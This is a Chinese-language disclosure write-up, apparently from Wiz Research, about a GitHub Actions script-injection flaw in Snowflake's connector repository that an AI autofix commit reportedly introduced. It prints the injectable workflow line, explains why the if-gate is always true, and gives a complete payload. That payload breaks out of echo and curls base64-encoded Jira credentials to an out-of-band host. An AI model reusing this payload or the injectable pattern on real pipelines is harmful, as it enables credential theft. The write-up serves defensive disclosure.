安全公司Wiz发现攻击者利用AI生成的GitHub Copilot“自动修复”建议,在CI/CD流程中注入恶意代码,最终攻破Snowflake的Jira系统;问题源于Copilot的AI生成修复建议缺乏安全审计。
通过 Snowflake HackerOne 漏洞披露计划开展的持续安全研究,Wiz Research 的"Red Agent"——一个自主运行的 AI 驱动安全研究工具——在 Snowflake 的一个公开仓库中发现了一个关键的 GitHub Actions 工作流漏洞。
这一事件凸显了软件开发中一个快速浮现的现实:AI 编程助手如何可能在不知不觉中引入工作流注入漏洞,以及自动化 AI 智能体如何在实际环境中迅速发现它们。
在 Wiz 于 2026 年 6 月 23 日负责任地披露后,Snowflake 当天就修复了该漏洞,轮换了受影响的凭证,并通过详细审计日志确认 Wiz 是暴露窗口期间唯一的行为者。Wiz 确认,在概念验证测试期间访问的所有数据已被安全删除。
Wiz Red Agent 在 snowflakedb/snowflake-connector-net 中发现了一个脚本注入漏洞。该问题允许未经身份验证的用户通过提交特制标题的 GitHub Issue,在 GitHub Actions 运行器中执行任意命令。
关键在于,该漏洞是于 2026 年 6 月 18 日——即发现前仅五天——通过一个由 Copilot Autofix(AI 驱动)协作编辑的提交引入的(PR #1218)。AI 助手移除了仓库现有的安全化输入模式,并用直接的字符串扩展替换了 shell 脚本中的内容。

Wiz Red Agent 的 CI/CD 能力扫描了 Snowflake 的 GitHub 组织,并将 snowflakedb/snowflake-connector-net 中的 jira_issue.yml Workflow 标记为存在脚本注入漏洞——原因是 run: 块中使用了不受信任的输入。
AI Assistant(GitHub Copilot)变更
- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
该工作流在 issues: opened 时触发——这意味着任何 GitHub 用户都可以通过提交一个 Issue 来触发它——并将攻击者可控的 Issue 标题直接插入到 shell 脚本中:
run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")
sed 转义发生在 GitHub 的模板扩展之后,标题中的单个单引号会突破 echo '...' 的限制,从而允许任意命令执行。
这个可注入模式是在五天前的 2026 年 6 月 18 日,通过提交 4a1b8ce(PR #1218:"SNOW-2069227: Update jira workflows")引入的——该提交由 Copilot Autofix(AI 驱动)协作编辑。
引入漏洞模式的提交
它移除了仓库现有的安全模式——该模式通过 env: 变量传递 Issue 标题,并使用 jq 构建 JSON 载荷。取而代之的是使用了上面所示的直接 ${{ github.event.issue.title }} 插值。换句话说,一个 AI"自动修复"提交创建了恰恰这个注入向量。
引入漏洞模式的代码变更
敞开的"安全门"
该工作流有一个看似起保护作用的 if: 条件:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
然而,在 issues 事件中,github.event.pull_request 始终为 null。
因此该条件简化为 (null != 'whitesource-for-github-com[bot]')。这永远为真,每个 GitHub 用户都能通过这道门。
敞开的"安全门"
我们精心构造了一个 Issue 标题,该标题在模板扩展后突破了 echo 字符串,并通过带外回调外泄了 Jira 凭证:
关键在于,当 Red Agent 的 cicd 能力最初尝试使用标准注释字符(#)进行外泄时,运行器返回了 bash 语法错误,因为注释消耗了 TITLE=(...) 的闭合括号。Red Agent 没有停止或失败,而是:
自主分析了语法执行错误
调整了其载荷,使用 ; echo ' 来正确关闭 shell 块
成功收到了带外回调
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
几秒钟内,我们的监听器收到了来自 GitHub Actions 运行器(Azure IP 20.106.182.197)的回调,其中包含 base64 编码的凭证。

注意:我们第一次尝试使用 # 来注释掉行尾,这导致了意外的 EOF bash 错误,因为它同时也吃掉了 TITLE=(...) 的闭合 )。修复方法是使用 ; echo ' 来正确关闭 shell 语法。

外泄的令牌关联到 qa@snowflake.net
外泄的令牌以 qa@snowflake.net 身份认证到了 snowflakecomputing.atlassian.net,授予了对 Snowflake 工程、安全合规和漏洞赏金跟踪项目的读访问权限。
当日修复:Snowflake 于 2026 年 6 月 23 日修补了该工作流(1dc7766,PR #1402),完全恢复了安全的 env: 变量和 jq --arg 解析模式。
凭证撤销:涉事的 JIRA 令牌已被撤销和轮换。
取证实体验证:全面的审计日志分析确认,在 5 天暴露窗口期间,没有任何外部第三方访问了该端点。所有异常查询都严格匹配到 Wiz 的测试 IP。
AI 代码生成需要严格审查:AI 编码工具基于概率模式预测代码,这可能无意中重新引入已弃用或不安全的 shell 模式。AI 生成的 PR 必须与人类代码接受相同的静态分析和安全审查。
漏洞发现窗口大幅缩短:该漏洞仅存活了五天就被自动化智能体发现并验证。安全运营必须适应一个自动化发现只需数小时即可完成的格局,需要快速修补周期和短期凭证。
防止 AI 安全回归:自动化 AI 助手通常缺乏关于为何选择特定代码模式的历史上下文。在这一事件中,一个自动化 PR 移除了一个安全的 env: + jq 解析模式——该模式原本是明确实现用于防止 shell 注入的。安全团队必须实施防护栏,阻止 AI 智能体用直接字符串插值替换结构化数据解析器。
2026 年 6 月 18 日——脚本注入模式通过提交 4a1b8ce(PR #1218)被引入 jira_issue.yml,该提交由 Copilot Autofix(AI 驱动)协作编辑
2026 年 6 月 23 日——Wiz 通过 HackerOne(报告 #3819931)识别、利用并向 Snowflake 报告了该漏洞
2026 年 6 月 23 日——Slack 通知发送至 Snowflake 安全团队
2026 年 6 月 23 日(当天)——Snowflake 修补了存在脚本注入漏洞的工作流(提交 1dc7766,PR #1402),恢复了安全的 env: + jq --arg 模式
2026 年 6 月 24 日——Jira 令牌轮换
2026 年 7 月 25 日——公开披露截止日期(根据 Snowflake 的披露政策,在 6 月 25 日解决后 30 天)
Snowflake 感谢 Wiz 通过我们的漏洞披露和漏洞赏金计划 HackerOne 对这些发现进行负责任的报告和协作。Wiz Research 报告了 Snowflake 一个公开 GitHub 仓库中的安全漏洞。该披露于 2026 年 6 月 23 日收到,随后立即进行了调查和修复,我们的调查未发现未经授权访问的证据。保护我们的系统仍然是首要任务,我们致力于不断加强我们的软件开发和安全实践。我们正在与 Wiz 合作,将这些经验教训分享给更广泛的行业,以鼓励广泛采用这些安全最佳实践。